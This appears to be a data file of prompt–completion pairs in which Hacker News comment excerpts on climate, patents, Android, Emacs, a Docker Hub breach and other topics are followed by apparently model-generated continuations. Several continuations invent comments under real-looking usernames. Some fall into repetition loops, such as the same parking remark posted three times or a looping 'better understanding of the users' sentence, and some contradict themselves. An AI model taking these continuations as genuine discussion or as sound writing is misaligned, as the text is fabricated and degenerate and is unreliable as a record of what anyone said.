customers' interest and the source\nof the data is outside the ISP's network.\n\nCharging Google is a reasonable alternative to charging their customers for\nsomething which may be of little value to them.\n\n~~~\nrryan\nI disagree. A user requesting is that user requesting\neverything that the webmaster of example.com wanted example.com to include.\nThis includes ads.\n\nThe webmaster has decided that the content hosted on \nincludes some HTML, some off-site resources (maybe images hosted on a CDN,\nmaybe some ads, maybe some Javascript hosted elsewhere).\n\nAre"} +{"output_text": "asa-study-finds/)\n\n~~~\nTeMPOraL\nYes, it's misleading. I edited the title to make it more clear.\n\n------\njokoon\nI wonder if the greening is also caused by the CO2 levels being higher, and if\nthe CO2 levels would be higher without the burning of fossil fuels.\n\nI wonder if the CO2 levels would be the same without the burning of fossil\nfuels, and if the", "input_text": "?\n\n~~~\nTeMPOraL\n\"You see, Earth is getting greener! Things are getting better! Maybe we don't\nneed to cut down on fossil fuels and wasteful consumption after all!\"\n\n~~~\nhanniabu\nExactly, this is precisely the kind of stuff I hear. Also not sure why so many\ndownvotes lol, I think many misunderstood what I was saying\n\n~~~\nTeMPOraL\nThey must have, yes. You have my upvote, FWIW.\n\n------\nniyaven\nI find the title misleading, the main reason Earth is getting greener is\nmainly because of higher CO2 emissions[0]. Saying the earth is getting greener\nthanks to China and India, is forgetting that ~84% of the increase is not\nrelated to these countries[1].\n\nWhat is truly new, is that human activity in India and China alone is\nresponsable of a 16% increase of leaf area. So, to quote original article:\n\n> now that we know direct human influence is a key driver of the greening\n> Earth, we need to factor this into our climate models\n\n[0] [https://climate.nasa.gov/news/2436/co2-is-making-earth-\ngreen...](https://climate.nasa.gov/news/2436/co2-is-making-earth-greenerfor-\nnow/)\n\n[1] [https://www.nasa.gov/feature/ames/human-activity-in-china-\nan...](https://www.nasa.gov/feature/ames/human-activity-in-china-and-india-\ndominates-the-greening-of-earth-n"} +{"output_text": " day-to-day is the main benefit, but I am not sure if it's a significant change in comparison to the benefits of other habits.\n======\nverulito\nI've gone dry for a few months, and it's been great for me. I have less\nanxiety, and less desire to drink. I also have less desire to smoke, which I\nthink is because I'm not having a cigarette in my hand.\n\nI wish I", "input_text": " Patent trolls get paid because short-sighted companies make the decision\nto pay. Simply put, it is usually cheaper in the short run to pay a troll than\nit is to litigate. It is also cheaper to give a schoolyard bully your lunch\nmoney than it is to visit a doctor. The thing is, once you pay the bully,\nhe\u2019ll just come back again and again and again. Eventually, that lunch money\nadds up to a lot more than a doctor\u2019s visit. In the long run the best way to\ndeal with a bully is to punch him square in the face. You might take a\nbeating, but if you do it every time? The bully will find easier prey. >>>\n\nThis is very naive. Patent trolls get paid because they are highly effective\nat weaponizing the legal system.\n\n~~~\nScottBurson\nYou must not be aware of Newegg's success in defending themselves against\npatent trolls. They demonstrated that stonewalling can pay off.\n\n~~~\nunicornmama\nThe plural of anecdote is not data.\n\n------\ntheflyingkiwi42\nIn my experience, attorney fees for screw-ups (accidental or not) get very\nrarely awarded :( Hope just fighting makes the troll go away.\n\n \nAsk HN: What benefits of quitting alcohol consumption? - throw51319\nI've decided to do a "dry" January and if I can do it, will try to extent to all of 2020.

I didn't drink often, not more than once a week. But it was usually a binge episode, having at least 10 drinks.

Has anybody stopped? What were the benefits? I am thinking that the reduction of stress on the"} +{"output_text": "etization rights).\n\nI'm not sure if I'm more traumatized by the fact that I was a part of this\ncompany, or by the fact that I was able to keep it all inside for so long.\n\n------\njoeevans1000\nI'm sure there are good companies and good employees at those companies, but\nthe author seems to have missed the point that the \"company\" is a product of\nthe industry.\n\nThe author is complaining", "input_text": "\n\nWho's buying those ads by the way? Sure it sound like a terrible company, but\nI can help thinking that their customers are worse.\n\n~~~\netjossem\nIf anything, hijacking page real estate makes it _less_ likely the user will\nclick on non-injected ads (which actually pay something out to the content\ncreator).\n\nI believe content creators have a right to seek compensation for their work -\nwhether it's through ads, affiliate links, or a subscription model.\n\nBut what 50onRed does is thievery from the creators, plain and simple.\n\n------\nsettsu\nI worked in the user experience team at that one big American domain company\n(that's well known for mostly the wrong reasons.) Similar situation as the\nstory: great coworkers, great pay, & great perks.\n\nOne of the products I was assigned was the interface for customers to\nconfigure those sites that are intended to monetize a domain with filler\ncontent meant to fool a visitor just enough to milk them for a few cents with\nseemingly legitimate articles/posts and an e-commerce feature that was\nessentially a storefront built entirely from affiliate links.\n\nUnlike the individual in the story, it was immediately clear what my task was:\nmake spamming the Internet as user-friendly as possible. Unfortunately there\nwas no mental gymnastics I could do to reconcile that.\n\nEspecially since the second product I had was domain auctions, which alone is\nnothing more than virtual real estate, but together with the first product is\nthe makings of a thinly-veiled means to skim money off the top of online\npurchases made by ignorant users AND to fool people into believing they could\nprofit from otherwise idle domains (by first paying the company for the\nmon"} +{"output_text": "\nAndroid APIs that are not yet final) they will be sued into oblivion.\n\nI am not saying that they will open it. I am saying that they have not said\nthey won't.\n\n~~~\nrbanffy\nI am not going to argue with myself.\n\n------\nsaurik\nI am not sure what the article is getting at: the article is about a situation\nwhere Google has not released the source to Android 2.3 (G", "input_text": " isn't about controlling other players?\n\n~~~\nrbanffy\nAre you under the impression Google can take 2.3 away from anyone? They own it\nand they can't. What they are doing is saying they won't release 3.x _for now_\nsource and not really disclosing the reasons. Anything can be behind that\ndecision, including the inclusion of non-Google code in the specific products.\n\nI prefer to think along those lines.\n\n~~~\nrbarooah\nI'm not under that impression. I am under the impression that they have given\nthe 3.x source to some people and not to others, thus choosing who gets to use\nit. Normally we refer to that as 'control'.\n\nThey didn't say _Android 2.3_ is open. They said that _Android_ was open and\nthe purpose was so that no one entity could control the innovation of other\nplayers, and yet that is exactly what they are doing.\n\nYou seem to be defending Google on the basis of their freedoms. If you read\nwhat I've written, you'll see that I haven't argued they don't have the right\nto do what they are doing. I haven't even argued that it's bad.\n\nI am merely pointing out that they have gone back on what they said. You\nhaven't said anything that refutes this.\n\n~~~\nrbanffy\n> they have gone back on what they said.\n\nPoint me, please, where did they say Honeycomb will not be opened. As it is\nnow, it probably has some code that went in to meet launch deadlines and that\nprevents a full release. They may also want to tidy things up before pushing\nit out because if they push out a defective API (and there are lots of new"} +{"output_text": " a blog post is a good\nindication of how seriously Google is taking it.\n\nIt's not a good look to have your company's logo plastered all over the\nnewspapers and the blogosphere.\n\n~~~\nsneak\nIt's not Google's logo. It's the SRE logo.\n\n~~~\nrobk\nIt's the SRE team logo.\n\n~~~\nsneak\nIt's the SRE team logo at Google.", "input_text": "\n\nThe only thing that got the ball rolling here was the parents of some of the\nkids alerting google.\n\n~~~\nyrb\nI got the impression that SRE basically have low level access to the storage\nstack. So wouldn't be subject to most of the normal application level logging\nthat I would assume would red flag this behaviour pretty fast.\n\nThe only way to get around this is to have someone audit _all_ their actions\nconstantly, which you need someone equally or more familiar with the systems\nthey are working with.\n\nI think that is pretty impossible to implement that level of overview with\nhumans, the best way to go normally is the 'buddy system' so no one can access\na system unless they have a 'buddy' with them. Like the military do in nuclear\nweapon silos.\n\n~~~\njacquesm\nAccess to the low level storage stack would not allow you to query with so\nmuch detail and would likely not have an interface that would allow you to\nmodify user settings at will. So he must have used some higher level tools.\n\n~~~\nbirken\nWell it depends.\n\nFor example if an application uses Bigtable, then the key + column names often\ngives a lot of information about what data is stored there, which if somebody\nhad access to some basic application data they might be able to get at\nsomebodies specific data.\n\nHowever as you might expect there are many safeguards in place, including\nensuring every action is fully and securely authenticated so even low level\nSREs cannot read application data without a paper trail. This story is pretty\nsurprising to me, and if true this guy is an idiot.\n\n------\nrobk\nThis is pretty serious and the fact it's turned into"} +{"output_text": " money, I will do it. If I am part of a team that can get more speed and\nbetter accuracy with a GPU, I will do it. If I can get a better understanding\nof the data and the users by doing it in the browser, I will do it. If I can\nget a better understanding of the users by doing it in the browser, I will do\nit. If I can get a better understanding of the users by doing it in the browser\nusing", "input_text": "\nreureu\nI totally agree, and wasn't arguing that a new title wasn't necessary. And I'm\nok with my downvotes for that comment :)\n\nIt's just funny that \"Data Scientist\" seemed to be originally branded as the\nmore technical/engineer-y version of a data analyst. Now I get recruiters\ncontacting me for \"Data Scientist\" positions that entirely revolves around SQL\nand excel, and nobody in the Bay Area hires \"Data Analysts\" anymore.\n\nAlright, guess it's time to update my LinkedIn and resume to adjust for this\ninflation? Maybe I should jump up a few inflation levels and just become a\n\"Deep Learning Engineer.\"\n\n~~~\nborroka\nI do not see any problem with that. There is a ton of confusion in the tech\nworld regarding labels, who does what, it is needed or not, outside of the\ncore actions that need to be done. The net effect of laying off 50% of tech\npeople from public tech companies might even result in a net positive for the\ncompanies. Not for a tech worker like me, so please do not tell them.\n\nTaking advantage as much as possible of hypes and other people's lazyness is\nfine in my book. It is certainly not my duty from the outside to educate\nrecruiters and business people who make hiring decisions on the field \u2013 when I\ntried, from the inside, to gently point out that what they were thinking did\nnot make any sense, I just put myself in a dangerous spot. I can be a data\nscientist, deep learning engineer, machine learning engineer, machine learning\nresearch scientist, whatever pays more and whoever has the most fun. If using\nan RNN instead of a more effective and efficient linear regression gives me\nmore"} +{"output_text": " is used for infix\nnotation.\n\n~~~\nrshm\nIn some languages - is used for infix notation.\n\n------\njongraehl\nI wonder if the \"q\" key is any worse than the \"w\" key.\n\n~~~\nrshm\nI have never seen a editor where \"w\" is used for \"work\" and \"q\" for \"quick\"\n\n------\njongraehl\nI wonder if", "input_text": "\nbradleyland\nIt's not ironic at all. One would expect that authors using a particular\nkeyboard layout would tend to favor characters that are easy to type. In that\nway, it's the opposite of irony. The outcome is exactly what we'd expect.\n\n~~~\nblahedo\nSee also the keyboard used to develop the original vi:\n\n\n\n~~~\nyuchi\nThat explains also the tilde=home :)\n\nA recent article I've read somewhere explains it very well!\n\n------\nquarterto\nI have the number keys mapped to their symbols (i.e. pressing 1 gives!,\npressing Shift+1 gives 1 etc.) using a custom XKB map. Feels so much more\nefficient, although I don't have any hard stats.\n\n~~~\nlloeki\nSounds almost like a FR layout.\n\n~~~\ndraven\nFR layout is great for this (and writing lisp is easier when the parenthesis\nare easily typed) but the []{} characters are horrible to type!\n\n------\nksec\nInteresting, according to the stats, if you have = sign done with out the\nshift it would have saved another 20% of the keystrokes.\n\n------\nrshm\nThis is my current.Xmodmap file\n\nkeycode 48 = quotedbl apostrophe quotedbl apostrophe\n\nkeycode 66 = Tab Caps_Lock NoSymbol Caps_Lock\n\nkeycode 20 = underscore minus underscore minus\n\n------\njhuni\nUse dashes for separators like in Lisp.\n\n~~~\nLeonidasXIV\nJust it doesn't work in most languages, as the - sign"} +{"output_text": " application, they may get a copy of your database\nand then use that to access the data).\n\n~~~\nbillconan\nI\u2019m not talking about database access. I\u2019m talking about code access. Say I\nwrite a php script that accesses a database. If I don\u2019t use authorization,\nanyone can access that php script. How can I detect unauthorized access?\n\n~~~\nsirclueless\nYou can't. Unauthorized access is", "input_text": " than Docker is currently disclosing...\n\n------\nmadhuakula\nThis step by step checklist might help you \"what should I do\" to review your\naccounts.\n\n[https://blog.madhuakula.com/some-tips-to-review-docker-\nhub-h...](https://blog.madhuakula.com/some-tips-to-review-docker-hub-hack-\nof-190k-accounts-addcd602aade)\n\n------\nwtdata\nWhat does this means for users? I was using watchtower to auto update the\nimages in my system. One of them was autoupdated after the failure.\n\nCan this be used to upload containers with security exploits in order to gain\naccess to machines (i.e. does it give write access to the containers)?\n\n------\nbillconan\nI\u2019m curious, how can a database be accessed without authorization? If\nauthorization is enabled? Also how unauthorized access can be discovered?\n\nSay I use Mongodb and enabled authorization. Will I be fine then? How to\ndiscover unauthorized access?\n\n~~~\nsirclueless\nAuthorization has a common English definition too. If, for example, an\nemployee's credentials were compromised, anyone who wasn't that employee who\naccessed the database would be considered \"without authorization\". And\nchecking the access logs for any use of that employee's credentials would give\nyou some idea of what data was accessed. Enabling authorization on your\nmongodb is good, but it absolutely won't stop all forms of unauthorized\naccess. They may gain access to your server itself, or gain some credentials\nto your MongoDB database some other way (for example, if someone carelessly\nships them as part of your"} +{"output_text": " massive amount of engineering\nand logistics, it would still be a monumental feat to actually make it to the\nother side of the planet.\n\n~~~\nTeMPOraL\n> _A good analogy (I think) would be the construction of the Great Pyramid of\n> Giza. Sure it is trivial to build today with our technology, as (I hope) it\n> will be trivial to travel to Mars in the distant future, but the reason its\n", "input_text": ".\n\n------\nsmoyer\nI'd be perfectly willing to die on Mars and (being one of the older one here),\nI'd say it's more likely that I am dead before anyone actually gets there.\n(Note that my family might not like me leaving them behind on Earth).\n\nAs an aside, it's a shame that the artist's rendition reminds me of a trailer\npark in a Florida retirement \"encampment\". I have no intention of retiring\nsomewhere that's populated by snow-birds (well... if I actually retire.\nRetirement sounds terribly boring).\n\n------\nlumberjack\nI see that Mars One will be using the SpaceX vehicles. I wonder if Elon Musk\nwill be fine with this, because as far as I see it, it is actually undermining\nthe competitive spirit of the race for Mars which is more about building the\nbetter technology than actually setting the foot there first just to get your\nname on the history books. For someone as devoted to offering real\ntechnological innovation, as Elon Musk is, it would probably smack a bit of\ncheating.\n\n~~~\nakiselev\nThe obstacle of going to Mars has long since been a problem of desire and not\ntechnology. Obviously better radiation shielding, drugs that reduce the\nnegative effects of zero-g, nuclear propulsion, and other technologies would\nreduce the risk of failure but at the end of the day going to Mars is a\nmassive engineering and logistics problem.\n\nA good analogy (I think) would be the construction of the Great Pyramid of\nGiza. Sure it is trivial to build today with our technology, as (I hope) it\nwill be trivial to travel to Mars in the distant future, but the reason its a\ngreat wonder of the world is because, despite a"} +{"output_text": "best.\n\n[1]\n[http://en.wikipedia.org/wiki/Insertion_sort](http://en.wikipedia.org/wiki/Insertion_sort)\n\n~~~\njules\nThe point of the article is that you don't need to know the details of all\nalgorithms. You just need to be able to solve the problems that you come across\nand then you can look up the details later.\n\nIf you don't know the", "input_text": "'s a joke in there that start\n\"I've forgotten more than...\") I use APIs to get work done. When I need to be\nmore academic, I search online. The only place anyone's ever required to be so\n'academic' about algorithms, data structures, math, etc is in academia. Step\nout into a job and you have an internet of active developers and useful forums\nare your disposal. Even if a company hired me to write an 'academic' code\nlibrary, I'd do the research, write the implementation, and (after sufficient\ntesting, profiling, etc) forget about it.\n\n~~~\nalexkus\nThe more you \"know\" the less you have to go look for, and when you do have to\ngo look for stuff on the Internet (since you're not omniscient) then you'll\nunderstand more of the pages you get back as results, and understand them\nfaster since there's less groundwork you need to cover.\n\nAn understanding big-O notation is very important if you go searching for\nsorting algorithms and land on a page that has an overview of sorting\nfunctions but listing bogosort as O(n!) and insertion sort as O(n^2), both\nrelatively easy to implement, and this relatively complicated iterative[1]\nquick sort that's listed as O(n log n). Without other clues someone might just\nimplement the one that looks easiest, and it works fine on their test set of\n20 elements, but blows up in the future as their application/site grows and\nslows to a crawl sorting through millions of rows with an insertion sort.\n\nOr, one of the most recent questions in the Mathematics part of the exam made\nme snigger because someone I work with was asking what bignum library was\n"} +{"output_text": " could afford\nto use a high-end camera. They could afford to use a high-end lens because\nthey had the luxury of time to build a rig that would allow them to get the\nshots they wanted.\n\nIf they were doing this for a real-world application, they would have to\nconsider the limitations of the sensor and the lens. If they wanted to get\nclose enough to illuminate a subject, they would need a big lens. If they\nwanted to", "input_text": "&\n======\ngknoy\n\"... from approximately 1 m using a... 39 megapixel digital camera... with\n120 mm macro lens\"\n\nGood news: At least we can still trust that normaly surveillance cameras won't\nhave the kind of resolution to perform this feat.\n\n~~~\nboxey\n... with 2x Bowens DX1000 1kW flash lamps with dish reflectors to illuminate\nthe bystanders at a distance of 1 meter.\n\nThat's ridiculous. Why is this even published?\n\n~~~\nhvidgaard\nThe point is that the information is clearly there, and with current\ntechnology it is possible to extract it under ideal circumstances. It's not to\nsay it's feasible or will be, but it's not hard to imagine sensors becoming\nadvanced enough to capture the required light without using a special lens and\nartificially illuminate the bystanders.\n\n~~~\nboxey\nWrong, current image sensors have around ~50% quantum efficiency nowadays. [1]\nThat's 1 f-stop from the theoretical maximum, while they're pushing around 10\nf-stops above the top-of-the-line mobile phone cam / security cam.\n\nThe pace of technology is still limited by physics - if they take out the 2kW\nmonster flash then the lens size needs to be increased to a diameter of\nseveral meters, just to maintain the same performance at a distance of 1 meter\n(!).\n\n[1]\n[https://en.wikipedia.org/wiki/Quantum_efficiency](https://en.wikipedia.org/wiki/Quantum_efficiency)\n\n~~~\naeturnum\nYou're missing the point. This is not a paper on image acquisition, it is a\npaper on image processing. Because they began from scratch, they"} +{"output_text": " makes his book a great read.\n\n------\njhallenworld\nI'm not sure I understand the argument.\n\nThe idea that the human brain can't handle much complexity is certainly true,\nbut it's not a limitation of the brain, it's a limitation of the world.\n\nThe world is full of complexity, and the human brain is a complicated system.\n\n~~~\nTeMPOraL\n> _The idea that the human brain can't handle", "input_text": "intellectualism\" comment was about.\n\n>The undisguised appeal to anti-intellectualism and anti-individualism was\nfrightening. He was talking about his \"augmented knowledge workshop\" and I was\nconstantly reminded of Manny Lehman's vigorous complaint about the American\neducational system that is extremely \"knowledge oriented\", failing to do\njustice to the fact that one of the main objects of education is the insight\nthat makes quite a lot of knowledge superfluous.\n\nWish the author went into more detail on why now may be different than during\nKay/Engelbart's time.\n\n[0]\n[https://www.cs.utexas.edu/users/EWD/transcriptions/EWD03xx/E...](https://www.cs.utexas.edu/users/EWD/transcriptions/EWD03xx/EWD387.html)\n\n~~~\nrasz_pl\nThere is this \"Tim van Gelder on Douglas Engelbart, Intelligence Amplification\nand Argument Mapping\"\n\n[https://www.youtube.com/watch?v=P77FvUy-\nNGA](https://www.youtube.com/watch?v=P77FvUy-NGA)\n\n------\nakkartik\nThe EWD by Dijkstra now actually mentions Engelbart by name:\n[https://www.cs.utexas.edu/users/EWD/ewd03xx/EWD387.PDF](https://www.cs.utexas.edu/users/EWD/ewd03xx/EWD387.PDF).\n\n~~~\ntlb\nProps to Dijkstra for choosing the right topics to have strong opinions about,\nwhich"} +{"output_text": " comments. I'm surprised it got\npublished.\n\n------\nm3kw9\nParking is a big problem in my city. There are many people who live in the\nsuburbs and commute to downtown.\n\n------\nm3kw9\nParking is a big problem in my city. There are many people who live in the\nsuburbs and commute to downtown.\n\n------\nm3kw9\nParking is a big problem in my city. There", "input_text": " all of the content in one tweet\n\n[https://twitter.com/saallyjohnsonn/status/121719070339206758...](https://twitter.com/saallyjohnsonn/status/1217190703392067584)\n\n------\naninteger\nWhatever happened to parking permits, parking officers, and parking tickets?\n\n~~~\nISL\nBoots are used to ensure compliance from those who would skip parking fines.\n\n~~~\n_jal\n\"Parking here [inconveniences|isn't fair to|creates danger for] others, so if\nyou leave your car here, we will make the situation worse by ensuring the\nalleged harm will continue longer than it otherwise would.\"\n\nYes, something something deterrence. Again, in reality, the article explains\nhow that played out.\n\nProper law enforcement isn't cheap, and if it is a profit center, you don't\nhave peace officers, you have highwaymen.\n\n------\nselfishgene\nMaybe online degree programs should start advertising:\n\n\"No Parking Fees EVER!\"\n\nKnow someone that got a master's degree from the comfort of his own living\nroom for under $10K and is now earning a decent six-digit salary.\n\n------\nunnouinceput\nQuote: \"The company\u2019s CEO says improvements have been made to counter these\nhacks already, but we\u2019re curious to see where this parking arms race heads\nnext.\" Me too, lol. Can't wait to see as well, I mean you put your low\nsolution vs students who eat this stuff as hobby and you think you'll best\nthem? good luck there Mr. CEO\n\n------\nScoundreller\nThis is just a bunch of unverified reddit"} +{"output_text": " the data\nprotection of hundreds of millions of users across the EU.\n\nIreland is also quite bad at enforcing these laws. In the last 5 years, only\n1 company was fined for \u20ac750k (for failing to protect the privacy of customers\nwho had their credit card information stolen). [3]\n\n[1] [https://www.irishecho.com/news/business/ireland-suburb-\nbigge...](https://www.ir", "input_text": " point out that Valentines day is originally a European\ntradition.\n\n~~~\nxxs\nIndeed, the 'tradition'/origin has the roots somewhere down the Roman Empire,\n3rd century. Now it has been commercialized to a high degree.\n\nMy point was something like: take US holidays grade on the scale 1-10;\nChristmas 10, Halloween, Thanksgiving Day - 9, 4th of July, New Year - 8....\nValentine's Day - 4, Memorial Day - 2. (not all rated, obviously)\n\nGermany - barely registers as anything; Spain, Sweden, Estonia - not a thing\nat all. There might be promotions, advertising, etc. but it's not an engraved\nthing for the decision to matter the date/proximity of Valentine's Day.\n\n------\nbilekas\nIreland has a lot of strange relationships with large tech companies, but I\ncan say for sure, we have some great data protection laws.\n\nGenuinely delighted that some people pay attention to these things and know\nwhat they're talking about.\n\n~~~\nF30\nLaws maybe, though these are set at the EU level (and one might argue about\nthe greatness of GDPR).\n\nStill, the rest of the EU (or at least Germany) is quite unhappy with the\nenforcement of these laws in Ireland. It is absurd that the Irish Data\nProtection Commissioner is supposed to control the privacy of most larger tech\ncorporations for the whole EU. A few years ago, they only had 22 employees and\ntheir only office was literally co-located with a supermarket in the suburbs\n[1]. They got a second office since then and apparently are now at around 100\nemployees [2], but that is still quite small if you have to control"} +{"output_text": "I think he's the reason the board can't decide what to do with the money.\n\n------\njongraehl\nI'm not sure I understand the \"Emacs is a platform\" argument.\n\nThe author seems to be saying that the \"platform\" is the set of users who\nunderstand and can use the same tools. But then he says that the \"platform\" is\nthe set of users who understand and can use the same language.\n\nI think", "input_text": " incompatibilities gradually (so that packages can\ncatch up in some humane timeframe). I could imagine the ELisp runtime being\nintertwined with the Emacs C code badly enough that making radical changes to\nit would seem \"impossible\", just like in the CPython codebase it is considered\nimpossible to ditch GIL and modernise the code. But those kind of comments are\noften excuses because people are lazy and it's nicer to write new code.\n\n~~~\nJulianMorrison\nIf I was them, I'd gradually introduce the minimum set of breaking changes to\nELisp that converge it on Common Lisp. Even if those changes were unhelpful or\nremoved features. Then eventually, when it maps 1:1 onto a subset of CL, just\nswap the implementation for a supported CL.\n\n~~~\nmjn\nSome years ago the a clisp maintainer actually made a minimal demo of Emacs\nhosted on clisp with just a compatibility layer for Elisp via\nmacros/functions, which seemed to work pretty well. But it didn't progress any\nfurther because Stallman vetoed basing Emacs on Common Lisp (he considers CL\nto be too big a language, and to some extent just doesn't like it). In\nretrospect I'm not sure this was a good call: Guile as a general VM with\ncustom infrastructure to support both Scheme and Elisp is not really a more\nclean, minimalistic infrastructure anyway. The semantics of Elisp/Scheme are\ntoo different to be able to just stick in a Scheme implementation with a\nsmallish compatibility layer, like you could with Elisp hosted on CL.\n\n~~~\nJulianMorrison\nToo often it seems RMS is why GNU can't have nice things.\n\n~~~\nfleitz\n"} +{"output_text": " thing? If so, why?\n\nIf it isn't purely a personal thing, why not do a PhD?\n\n~~~\njaphyr\nI think this is a good question. I've been considering the value of a\nuniversity education for myself, and I've been thinking about the reasons I\nmight want one.\n\nI've been in the software industry for the past 15 years. I've been fortunate\nto work with great people, have been promoted quickly", "input_text": ".\n\n------\nohyes\nI skipped undergrad CS and went directly to a masters.\n\nThere are \u2018working professionals\u2019 masters degrees that are geared towards this\ntype of thing. They don\u2019t have the cachet of Stanford or whatever, but can be\ninteresting and useful if you apply yourself.\n\nIf they accept you, they will make you take a prerequisite class to ensure you\nare at the right level.\n\nI wouldn\u2019t expect a monetary gain from this as college is quite expensive, it\nisn\u2019t clear a degree noticeably increases your salary. I would recommend doing\nit primarily out of personal interest.\n\nIt does make the \u2018foot in the door\u2019 at a bigger company easier, but it\u2019s not\nclear that it has directly helped me in that way due to the size of companies\nI normally gravitate towards. The knowledge has been very useful, however.\n\n~~~\ndarpa_escapee\n> I skipped undergrad CS and went directly to a masters.\n\nDid you have any undergrad credits or degree?\n\n~~~\nohyes\nI had some credits, no degree. I didn\u2019t want to take calculus and at the time\n(I think it would have been 4 courses in it, amounting to 1/8 of my credits).\n\nI wasn\u2019t particularly bad at math, just uninterested in rehashing calculus.\nOther stuff was more interesting than a double major. (Music, English,\nScience).\n\nI had been working as a software engineer for about a year, so that helped.\n\nIt also helped a lot that I have had some very supportive mentors in my life\n(willing to recommend me).\n\n------\nmehh\nWhy? Why do you want a degree?\n\nIs it purely a personal"} +{"output_text": " can record a user using your product (for a few minutes) and then\nreproduce the recorded user's experience (with your product) using your\nsoftware.\n\nThis is much cheaper than a live user session, and you can record a user\nanywhere in the world (as long as they have an internet connection).\n\nI've used this to record a user using my product (which I don't own) and then\nreproduce the recorded user's experience using", "input_text": "\ndangero\nWould love to see something like this done in augmented reality so you point\nit at a chess board and it gives you info about the game in progress.\n\n~~~\nyeldarb\nCheck in later this week :)\n\n(Not chess but I think we\u2019re on the same page!)\n\n------\ntonyinthehouse\nThis could be very useful for building your own chess bot! I am definitely\ngoing try this out when I have some free time.\n\n \nAsk HN: How did you get over your fear of shipping? - fratlas\nCurrently building a web app and feature creep and an intense feeling that the product is worthless (I enjoy using it, but it's niche so hard to user-test) is a daily occurrence. is this normal?\n======\nrgbrgb\nHere's an open secret that might make you feel more comfortable: you can\nlaunch as many times as you want until people notice. Here's an awful public\nlaunch:\n[https://news.ycombinator.com/item?id=13343276](https://news.ycombinator.com/item?id=13343276).\nThere's no signup, buttons seem not to work. Nobody's going to care/remember\nif they try again when the app is more baked in a couple weeks.\n\nIf you're not sure if your thing is usable, find someone who you can watch use\nit in person.\n\n~~~\nscreensquid\n> If you're not sure if your thing is usable, find someone who you can watch\n> use it in person.\n\nIf you can't find someone to use it in person, you can get user experience\nfeedback with a session recording tool. I am the author of such software,\nwhich"} +{"output_text": " tracker. I'd rather\nfocus on the metrics that matter the most for me.\n\n~~~\nio\nI haven't, but I'm sure I will. I'm also curious about the competition.\n\n------\njasonlotito\nI'm curious how this compares to the Sleep Cycle app. I've used Sleep Cycle for\na while and it's been pretty good.\n\n \"Just coding it\" leads to both frustration as you sit wondering what you\n> should be writing and why programming is so hard, and poor code.\n\nAgreed. But I think that is a minority opinion. Most people think programming\nis easy and that you can learn it in a week.\n\n> \"The poor code comes in when you start throwing", "input_text": " researches, grabbed a related domain and\nmaking a plan.\n\nLearning Programming? Oups! I forgot about it!!!\n\n------\nCyberFonic\nYou need to design first - on paper, white-board, etc. You wouldn't build a\nhouse without blueprints, so why try to write a big program without sketching\nstuff out so that you can break down into manageable chunks.\n\nIf that doesn't help, then maybe you need to take a good CS course. If you\nhave only programmed in C++, then it doesn't sound like a comprehensive\nbackground in CS.\n\n~~~\njff\nExactly this. The image of the lone hacker sitting down and pouring out a\nbunch of code straight from his brain is a romantic one, but if you haven't\nspent a little time deciding what your data structures are going to look like\nand how you're going to pass stuff around, etc., your code will be crap. \"Just\ncoding it\" leads to both frustration as you sit wondering what you should be\nwriting and why programming is so hard, and poor code. The poor code comes in\nwhen you start throwing in stuff like one-use elements in your structs to keep\ntrack of something you hadn't forseen, when a little bit of planning could\nhave alleviated that.\n\nI'm certainly not saying you should go write up a design document complete\nwith UML and everything. That would be ridiculous, damn it I'm an engineer not\na bureaucrat! Just sit down and think (on paper) about how some of the\nimportant stuff needs to look. It'll help a lot.\n\nAs for the second point, C++ does seem like a weird place to start. Go learn\nassembly or C. Learning to write assembly is a process of continually solving\ntiny"} +{"output_text": "\n[2] [https://tomwoods.com/book-procrastination-\nannihilation](https://tomwoods.com/book-procrastination-annihilation)\n\n------\njap\nI've found that the best way to deal with procrastination is to set aside a\nspecific time each day to work on whatever it is you're avoiding. If you don't\ndo this, you'll always be wondering if you should be", "input_text": " clocks. In some cases, I'm doing what it takes to\nsynthesize one of my own, according to the rhythms and cycles of the dominant\n\"super-clock\". They don't ask it of me, it's just that without enforcement of\ninterplay, I lose all momentum.\n\nWithout a support crew, an Astronaut on an EVA can only accomplish so much.\n\nNo clock, no appointments. No appointments, no money.\n\n------\ntemp23099mv\nI've had similar problems. After trying to overcome the problem myself for\nmuch too long, embarrassed to even reveal it to others, I found a great\ntherapist and they helped immensely.\n\nProbably the most important thing I learned is that there are healthy, very\nhuman needs behind bad behaviors. Stop fighting yourself and doing tricks and\nworkarounds (hacks, etc.), and start caring about and helping yourself. When\nyou can't focus on work, what do you really need, on an emotional level? What\ndoes the video game provide? What are you avoiding?\n\nIf you don't understand your subconscious drives and emotions, you will be a\nslave to them.\n\n------\ntimtas\nLast week I heard an interesting interview [1] of Antony Sammeroff, author of\na free e-book titled Procrastination Annihilation. [2]\n\nI hesitate to recommend to you yet another anti-procrastination technique.\nMost of them are probably gimmicks that wear off quickly, as you have\ntestified. But this book sounds like good stuff to me. I know this guy a\nlittle, and I think he's really smart.\n\n[1] [https://tomwoods.com/1090](https://tomwoods.com/1090)\n"} +{"output_text": "elessly carving itself into the\nrock.\n\nI'm not sure what the solution is. I think that part of the problem is that\nmost people see art as a museum experience. They go to the museum, see the\nstatue, and leave. That's not a good way to appreciate art.\n\n~~~\njames_s_tayler\nI think this is a really good point.\n\nI've been to the Tate in London a few times", "input_text": " that\nmatters if you can't connect with art in the first place.\n\nPersonally, the first time I ever saw a Mark Rothko painting in person create\na seismic shift in my understanding of art and more specifically painting.\n\nTo me, viewing art is like listening to music you really love. You will know\nimmediately if you enjoy the piece, and will learn to appreciate it more and\nmore every time you look at (or listen to) it.\n\nPeople get too hung up on the \"meaning\" of art. What is the \"meaning\" of your\nfavorite song? My guess is that your connection to your favorite song is\nrooted in familiarity, nostalgia, or pure enjoyment, and not in the literal\nmeaning of the lyrics (although that is entirely possible!).\n\nGo and see art in person. Looking at it through a computer screen is bad for\nyou and bad for artists. Go to local gallery openings, museums, or art\nstudios.\n\n------\nJtsummers\nThere's a museum in Florence that I went to where you could see many statues\nin various states of completion. It was fantastically beautiful. They were\nclearly not complete works, Michelangelo had intended to do more. But for\nwhatever reason they never were finished. Despite their state of\nincompleteness, you could see the craftsmanship involved in getting them to\ntheir current state. But you could also see beauty in this unfinished state,\nas if the men (predominantly) of stone were climbing out of the rocks\nthemselves.\n\nShow someone an image of the Statue of David and it's not that interesting.\nBut see it in person. The immenseness of it. The detail that went into it. See\nthese other statues nearby, like stone tim"} +{"output_text": " and the\nonly place I could get native access to macOS Services was by using the\nServices menu in the menu bar.\n\nI'm not sure what to think of Eclipse at this point. I don't know if it's\nnative, but it sure doesn't feel like it.\n\n~~~\nzapzupnz\nOh, and 